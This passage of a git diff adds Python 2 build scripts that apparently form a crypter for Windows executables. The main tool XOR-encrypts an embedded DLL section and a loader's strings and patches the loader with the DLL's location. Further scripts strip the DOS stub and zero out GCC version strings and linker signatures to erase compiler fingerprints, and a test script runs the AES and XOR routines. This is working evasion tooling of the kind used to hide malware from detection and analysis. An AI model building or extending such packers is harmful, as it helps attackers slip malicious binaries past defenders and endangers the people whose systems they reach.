+ actgrp.add_option("-i", "--show-xoriv", action="store_true", dest="show_xoriv", help="print XOR iv to stdout")
+ actgrp.add_option("-p", "--patch", action="store_true", dest="patch", default=False, help="patch the --section with address and size information from --target-section")
+ parser.add_option_group(actgrp)
+ (options, args) = parser.parse_args()
+
+ bname = os.path.basename(sys.argv[0])
+ # load *.so's if necessary
+ pyload = require_pyso(pyload_name, options.pyload)
+ # some commands need pycrypt module
+ pycrypt = require_pyso(pycrypt_name, options.pycrypt)
+ if pycrypt is None:
+ sys.stderr.write(bname + ': Could not import '+pycrypt_name+': ' + options.pycrypt + '.\n')
+ sys.exit(1)
+
+ endmarker = None
+ if pyload is None:
+ sys.stderr.write(bname + ': WARNING: Could not import '+pyload_name+': ' + options.pyload + '.\n')
+ if options.patch:
+ sys.stderr.write(bname + ': Patching requires '+pyload_name+'\n')
+ sys.exit(1)
+ else:
+ endmarker = pyload.getEndmarker()
+ loaderdict = pyload.getStructOffset()
+
+ # argument checks
+ # pyloader python lib and endmarker
+ if not options.endmarker and pyload is None:
+ sys.stderr.write(bname + ': missing --endmarker and '+pyload_name+' ('+options.pyload+') not imported\n')
+ sys.exit(1)
+ elif not options.endmarker:
+ sys.stderr.write(bname + ': using default endmarker 0x'+str(endmarker).encode('hex')+'\n')
+ else:
+ tmp = str(parse_c_array(options.endmarker))
+ if endmarker is not None and tmp != endmarker:
+ sys.stderr.write(bname + ': WARNING: LOADER_ENDMARKER is not equal --endmarker: '+str(endmarker).encode('hex')+' != '+str(tmp).encode('hex')+'\n')
+ sys.stderr.write(bname + ': using '+str(tmp).encode('hex')+'\n')
+ endmarker = tmp
+ if len(endmarker) % 4 != 0:
+ sys.stderr.write(bname + ': endmarker length MUST be a multiple of 4 and not ' + str(len(endmarker)) + '\n')
+ sys.exit(1)
+ if options.verbose:
+ print bname + ': using 0x' + endmarker.encode('hex') + ' as endmarker'
+ # win32_pe is required for all operations
+ if options.win32_pe is None:
+ sys.stderr.write(bname + ': WIN32_PE is required for all operations\n')
+ parser.print_help()
+ sys.exit(1)
+ # same applies for section (TODO: Maybe discard section and search for endmarker in whole pe file)
+ if options.section is None:
+ sys.stderr.write(bname + ': --win32 needs --section\n')
+ parser.print_help()
+ sys.exit(1)
+ # target section is required (specifies the DLL section)
+ if options.patch and options.target_section is None:
+ sys.stderr.write(bname + ': --patch needs --target-section\n')
+ parser.print_help()
+ sys.exit(1)
+ # patch win32_pe directly if possible
+ if options.out_file is None:
+ options.out_file = options.win32_pe
+
+ for binary in [options.win32_pe, options.miller_bin]:
+ if binary is not None:
+ if not os.access(binary, os.R_OK):
+ sys.stderr.write(bname + ': No read access ' + binary + '\n')
+ sys.exit(2)
+
+ if not(os.path.isfile(objdmp_bin) or os.access(objdmp_bin, os.X_OK)):
+ sys.stderr.write(bname + ': objdump ('+objdmp_bin+') does not exist or is not executable\n')
+ sys.exit(2)
+
+ # read win32pe/miller_bin
+ buf = None
+ (ldrVma, ldrPtr, ldrSiz) = objdump_sections(options.win32_pe, options.section)
+ if (ldrVma or ldrPtr or ldrSiz) is None:
+ sys.stderr.write(bname + ': Error: Loader section missing or objdump binary does not work.\n')
+ objdump_print_err(bname)
+ sys.exit(3)
+ # print section offset/size
+ if options.verbose:
+ print bname + (': found section %s in %s (RVA: 0x%08X | PTR: 0x%08X | SIZ: 0x%08X)' % (options.section, options.win32_pe, ldrVma, ldrPtr, ldrSiz))
+ # load file to memory
+ buf = file_to_buf(options.win32_pe)
+ if buf is None:
+ sys.stderr.write(bname + ': could not load file '+options.win32_pe+' into memory\n')
+ sys.exit(3)
+ # search loader endmarker
+ endoff = find_endmarker_offset(endmarker, buf, ldrPtr, ldrSiz)
+ if endoff == -1:
+ sys.stderr.write(bname + ': endmarker(`'+endmarker.encode('hex')+'`) not found\n')
+ sys.exit(3)
+ if options.verbose:
+ print bname + ': endmarker(`'+endmarker.encode('hex')+'`) found at '+str(endoff)+' ('+str(hex(endoff))+')'
+ # -a, -z, -m
+ if options.show_adr:
+ print str(ldrPtr) if not options.verbose else str(bname) + ': '+options.section+' offset: '+str(ldrPtr)+' ('+str(hex(ldrPtr))+')'
+ if options.show_siz:
+ print str(ldrSiz) if not options.verbose else str(bname) + ': '+options.section+' size: '+str(ldrSiz)+' ('+str(hex(ldrSiz))+')'
+ if options.show_marker:
+ print str(endoff) if not options.verbose else str(bname) + ': '+options.section+' endmarker: '+str(endoff)+' ('+str(hex(endoff))+')'
+
+ # parse dll and patch loader
+ if options.win32_pe is not None:
+ if options.target_section is None:
+ sys.stderr.write(bname + ': Dumping data from target section requires --dll-section\n')
+ sys.exit(3)
+ (dllVma, dllPtr, dllSiz) = objdump_sections(options.win32_pe, options.target_section)
+ if (dllVma or dllPTr or dllSiz) is None:
+ sys.stderr.write(bname + ': Error: DLL (target)section missing or objdump binary does not work.\n')
+ objdump_print_err(bname)
+ sys.exit(3)
+ if options.verbose:
+ print bname + (': found section %s in %s (RVA: 0x%08X | PTR: 0x%08X | SIZ: 0x%08X)' % (options.target_section, options.win32_pe, dllVma, dllPtr, dllSiz))
+
+ # let's encrypt
+ if pycrypt is not None and options.win32_pe is not None and buf is not None:
+ ((keybuf,keypatched), (ivbuf,ivpatched)) = getXorKeyIv(buf, loaderdict, endoff, pycrypt.xorRandomKeyIv)
+ if options.verbose:
+ print bname + ': ' + ('XOR(KEY) patched' if keypatched is True else 'XOR(KEY) !patched') + ', ' + ('XOR(IV) patched' if ivpatched is True else 'XOR(IV) !patched')
+ print (bname + ': XOR(KEY,LEN): %s (%d bytes)\n' + bname + ': XOR(IV ,LEN): %s (%d bytes)') % (str(keybuf).encode('hex'), len(keybuf), str(ivbuf).encode('hex'), len(ivbuf))
+ else:
+ if options.show_xorkey:
+ print str(keybuf).encode('hex')
+ if options.show_xoriv:
+ print str(ivbuf).encode('hex')
+
+ # Loader string encryption
+ if options.crypt_strings is True:
+ (isPlain, isValid) = isLoaderStringsEncrypted(buf, loaderdict, endoff, keybuf, ivbuf, pycrypt.xorCrypt)
+ if not isValid:
+ sys.stderr.write(bname + ': XOR Loader Strings are not valid, wrong XOR key/iv?\n')
+ sys.exit(4)
+ if not isPlain:
+ sys.stderr.write(bname + ': XOR Loader Strings already encrypted\n')
+ elif patchLoaderStrings(buf, loaderdict, endoff, keybuf, ivbuf, pycrypt.xorCrypt) is not True:
+ sys.stderr.write(bname + ': XOR Crypt Loader Strings failed\n')
+ sys.exit(4)
+ elif options.verbose:
+ print bname + ': String encryption succeeded!'
+
+ # PE binary encryption
+ if options.crypt_dll is True:
+ (validDOS, validPE) = isDllHeaderEncrypted(buf, dllPtr)
+ if validDOS is not True or validPE is not True:
+ sys.stderr.write(bname + ': Not a valid DOS/PE Header, already encrypted?\n')
+ else:
+ ret = patchEncryptDll(buf, dllPtr, dllSiz, keybuf, ivbuf, pycrypt.xorCrypt)
+ if ret != (True, True, True):
+ sys.stderr.write(bname + ': PE encryption failed! Returned: %s\n' % (str(ret)))
+ sys.exit(4)
+ if options.verbose:
+ print bname + ': PE encryption done'
+
+ # parse dll and patch loader
+ if options.patch and pyload is not None and buf is not None:
+ if options.verbose:
+ print bname + (': Patching Loader with dll section (RVA: 0x%08X | PTR: 0x%08X | SIZ: 0x%08X)' % (dllVma,dllPtr,dllSiz))
+ found = patchLoader(buf, loaderdict, endoff, (dllVma,dllPtr,dllSiz))
+ if found:
+ if not buf_to_file(options.out_file, buf):
+ sys.stderr.write(bname + ': could not write buffer to disk\n')
+ sys.exit(4)
+ if options.verbose:
+ print bname + ': Patching succeeded!'
+ else:
+ sys.stderr.write(bname + ': None found ..\n')
+ sys.exit(4)
+
+ sys.exit(0)
diff --git a/batch/pycrypt_test.py b/batch/pycrypt_test.py
new file mode 100755
index 0000000..1d7e0fb
--- /dev/null
+++ b/batch/pycrypt_test.py
@@ -0,0 +1,52 @@
+#!/usr/bin/env python2.7
+
+import binascii, imp, time, sys, os.path
+
+
+m = imp.load_dynamic('pycrypt',os.path.dirname(sys.argv[0])+'/../bin/pycrypt')
+m.info()
+
+def check_str(d, p):
+ if str(d).find(str(p)) != 0 and len(d) != len(p):
+ sys.stderr.write('ERROR: "' + str(d) + '" != "' + str(p) + '"\n')
+ sys.stderr.write(' ' + str(len(d)) + ' , ' + str(len(p)) + ' , ' + str(len(binascii.hexlify(d))) + ' , ' + str(len(binascii.hexlify(p))) + '\n')
+ sys.stderr.write(' "' + binascii.hexlify(d) + '"\n')
+ sys.stderr.write(' "' + binascii.hexlify(p) + '"\n')
+
+count = int(sys.argv[1]) if len(sys.argv) > 1 else -1
+while count != 0:
+ k = m.aesRandomKey(m.KEY_256)
+ print 'AESKey:', binascii.hexlify(k)
+
+ p = 'Top Secret Message!' + str('#'*0)
+
+ x = m.aesAllocCtx(k)
+ print 'AESCtx:', binascii.hexlify(x)
+
+ c = m.aesCrypt(x, p, True)
+ print 'AESMsg:', binascii.hexlify(c), '(%d)' % (len(c))
+
+ d = m.aesCrypt(x, c, False)
+ print 'OrgMsg:', binascii.hexlify(d), binascii.hexlify(p)
+ print ' ', str(d), '(%d)' % (len(d))
+
+ check_str(d,p)
+
+ xork = m.xorRandomKeyIv(8)
+ xori = m.xorRandomKeyIv(8)
+ print 'XorKey:', binascii.hexlify(xork)
+ print 'XorIv.:', binascii.hexlify(xori)
+
+ c = m.xorCrypt(p, xork, xori)
+ print 'XorMsg:', binascii.hexlify(c), '(%d)' % (len(c))
+
+ d = m.xorCrypt(c, xork, xori)
+ print 'OrgMsg:', binascii.hexlify(d)
+ print ' ', str(d), '(%d)' % (len(d))
+
+ check_str(d,p)
+
+ time.sleep(0.01)
+
+ if count > 0:
+ count -= 1
diff --git a/batch/removeDosStub.py b/batch/removeDosStub.py
new file mode 100755
index 0000000..8ed2247
--- /dev/null
+++ b/batch/removeDosStub.py
@@ -0,0 +1,63 @@
+#!/usr/bin/env python2.7
+
+import sys
+import struct
+import os
+import binascii
+
+
+e_lfanew_OFFSET = 0x40
+SizeOfHeaders_OFFSET = 0x04 + 0x14 + 0x3C # sizeof(PE_sig) + sizeof(COFF_hdr) + Optional_hdr->SizeOfHeaders
+SizeOfHeaders_DEFAULT = 0x400 # default value for GCC
+
+
+def main(argv):
+ found = 0
+ absfound = 0
+ buf = bytearray()
+ with open(argv[0], "rb") as fin:
+ for line in fin:
+ buf += line
+ if buf[0:2] != '\x4d\x5a':
+ return False
+
+ e_lfanew = struct.unpack("<L", buf[e_lfanew_OFFSET-0x4:e_lfanew_OFFSET])[0]
+ dosStubSiz = e_lfanew - e_lfanew_OFFSET
+ if buf[e_lfanew:e_lfanew+0x2] != '\x50\x45':
+ return False
+ i = int(e_lfanew) + SizeOfHeaders_OFFSET
+ SizeOfHeaders = struct.unpack("<L", buf[i:i+0x4])[0]
+ if SizeOfHeaders > SizeOfHeaders_DEFAULT or SizeOfHeaders <= 0:
+ return False
+
+ newstart = (e_lfanew - dosStubSiz)
+ if newstart <= 0:
+ return False
+ newstart = struct.pack("<L", newstart)
+
+ buf[0x2:0x3C] = '\x00'*(0x3C-0x2)
+ buf[0x3C:0x40] = newstart
+ buf[0x40:0x40+dosStubSiz] = '\x00'*(0x80-0x40)
+ buf[e_lfanew_OFFSET:] = buf[e_lfanew:SizeOfHeaders] + bytearray('\x00'*dosStubSiz) + buf[SizeOfHeaders:]
+
+ with open(argv[0], "wb") as fout:
+ fout.write(str(buf))
+ fout.flush()
+ return True
+
+if __name__ == "__main__":
+ bname = os.path.basename(sys.argv[0])
+ if len(sys.argv) < 2:
+ sys.stderr.write(bname + ' usage: ' + sys.argv[0] + ' [WIN32_PE]\n')
+ sys.exit(1)
+ if not os.access(sys.argv[1], os.W_OK):
+ sys.stderr.write(bname + ': No write access: ' + sys.argv[1] + '\n')
+ sys.exit(2)
+ print bname + ': Checking DOS/PE Header'
+ if main(sys.argv[1:]):
+ print bname + ': NULL\'d/REMOVED unused DOS header values/stub'
+ else:
+ print bname + ': Not a valid DOS/PE Header/Stub'
+ sys.exit(3)
+
+ sys.exit(0)
diff --git a/batch/removeGccVersion.py b/batch/removeGccVersion.py
new file mode 100755
index 0000000..b88f581
--- /dev/null
+++ b/batch/removeGccVersion.py
@@ -0,0 +1,63 @@
+#!/usr/bin/env python2.7
+
+import sys
+import struct
+import os
+
+# replaces 'GCC: (GNU) 4.9.4' with zeroes (.rdata$zzz)
+needle = '\x47\x43\x43\x3a\x20\x28\x47\x4e\x55\x29\x20\x34\x2e\x39\x2e\x34'
+# zeroing major+minor linker version (0x010b = magic, 0x02 major, 0x19 minor => GNU ld 2.25)
+needle2 = '\x0b\x01\x02\x19'
+
+def main(argv):
+ found = 0
+ absfound = 0
+ buf = bytearray()
+ with open(argv[0], "rb") as fin:
+ for line in fin:
+ buf += line
+ with open(argv[0], "wb") as fout:
+ pos = str(buf).find(needle)
+ while pos > -1:
+ poslen = 0
+ if pos > -1:
+ for v in buf[pos:]:
+ if v == 0:
+ break
+ poslen += 1
+ buf[pos:pos+poslen] = '\x00'*poslen
+ found += 1
+ absfound += poslen
+ pos = str(buf).find(needle)
+
+ pos = str(buf).find(needle2)
+ ldsig = False
+ if pos > -1 and pos <= 0x200:
+ ldsig = True
+ buf[pos+2] = '\x00'
+ buf[pos+3] = '\x00'
+
+ fout.write(str(buf))
+ fout.flush()
+ return ( bool(ldsig), int(found), int(absfound) )
+
+if __name__ == "__main__":
+ bname = os.path.basename(sys.argv[0])
+ if len(sys.argv) < 2:
+ sys.stderr.write(bname + ' usage: ' + sys.argv[0] + ' [WIN32_PE]\n')
+ sys.exit(1)
+ if not os.access(sys.argv[1], os.W_OK):
+ sys.stderr.write(bname + ': No write access: ' + sys.argv[1] + '\n')
+ sys.exit(2)
+ print bname + ': Searching for GCC Fingerprint:', needle.encode('hex')
+ (ldsig, found, abslen) = main(sys.argv[1:])
+ if found > 0:
+ print bname + ': Found', found, 'occurences; Zero\'d:', found * len(needle) + abslen, 'bytes'
+ else:
+ print bname + ': None found .. (.rdata$zzz already removed)'
+ if ldsig:
+ print bname + ': Linker signature removed ..'
+ else:
+ print bname + ': No Linker signature found'
+
+ sys.exit(0)